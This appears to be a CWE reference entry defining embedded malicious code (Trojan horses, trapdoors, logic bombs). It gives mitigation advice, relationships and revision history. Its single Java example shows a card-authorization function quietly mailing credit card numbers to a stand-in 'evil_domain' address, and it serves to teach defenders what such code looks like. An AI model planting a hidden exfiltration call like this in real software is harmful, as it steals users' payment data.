Embedded Malicious Code
Weakness ID: 506 (Weakness Class)Status: Incomplete
+ Description

Description Summary

The application contains code that appears to be malicious in nature.

Extended Description

Malicious flaws have acquired colorful names, including Trojan horse, trapdoor, timebomb, and logic-bomb. A developer might insert malicious code with the intent to subvert the security of an application or its host system at some time in the future. It generally refers to a program that performs a useful service but exploits rights of the program's user in a way the user does not intend.

+ Time of Introduction
  • Implementation
+ Demonstrative Examples

Example 1

In the example below, a malicous developer has injected code to send credit card numbers to his email address.

(Bad Code)
Example Language: Java 
boolean authorizeCard(String ccn) {
// Authorize credit card.
...

mailCardNumber(ccn, "evil_developer@evil_domain.com");
}
+ Potential Mitigations

Remove the malicious code and start an effort to ensure that no more malicious code exists. This may require a detailed review of all code, as it is possible to hide a serious attack in only one or two lines of code. These lines may be located almost anywhere in an application and may have been intentionally obfuscated by the attacker.

+ Other Notes

The term "Trojan horse" was introduced by Dan Edwards and recorded by James Anderson [18] to characterize a particular computer security threat; it has been redefined many times [4,18-20].

+ Relationships
NatureTypeIDNameView(s) this relationship pertains toView(s)
ChildOfCategoryCategory505Intentionally Introduced Weakness
Development Concepts (primary)699
ChildOfWeakness ClassWeakness Class710Coding Standards Violation
Research Concepts (primary)1000
ParentOfWeakness BaseWeakness Base507Trojan Horse
Development Concepts (primary)699
Research Concepts (primary)1000
ParentOfWeakness BaseWeakness Base510Trapdoor
Development Concepts (primary)699
Research Concepts (primary)1000
ParentOfWeakness BaseWeakness Base511Logic/Time Bomb
Development Concepts (primary)699
Research Concepts (primary)1000
ParentOfWeakness BaseWeakness Base512Spyware
Development Concepts (primary)699
Research Concepts (primary)1000
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
LandwehrMalicious
+ Content History
Submissions
Submission DateSubmitterOrganizationSource
LandwehrExternally Mined
Modifications
Modification DateModifierOrganizationSource
2008-07-01Sean EidemillerCigitalExternal
added/updated demonstrative examples
2008-07-01Eric DalciCigitalExternal
updated Time of Introduction
2008-09-08CWE Content TeamMITREInternal
updated Description, Relationships, Other Notes, Taxonomy Mappings
2009-10-29CWE Content TeamMITREInternal
updated Description, Other Notes
Previous Entry Names
Change DatePrevious Entry Name
2008-01-30Malicious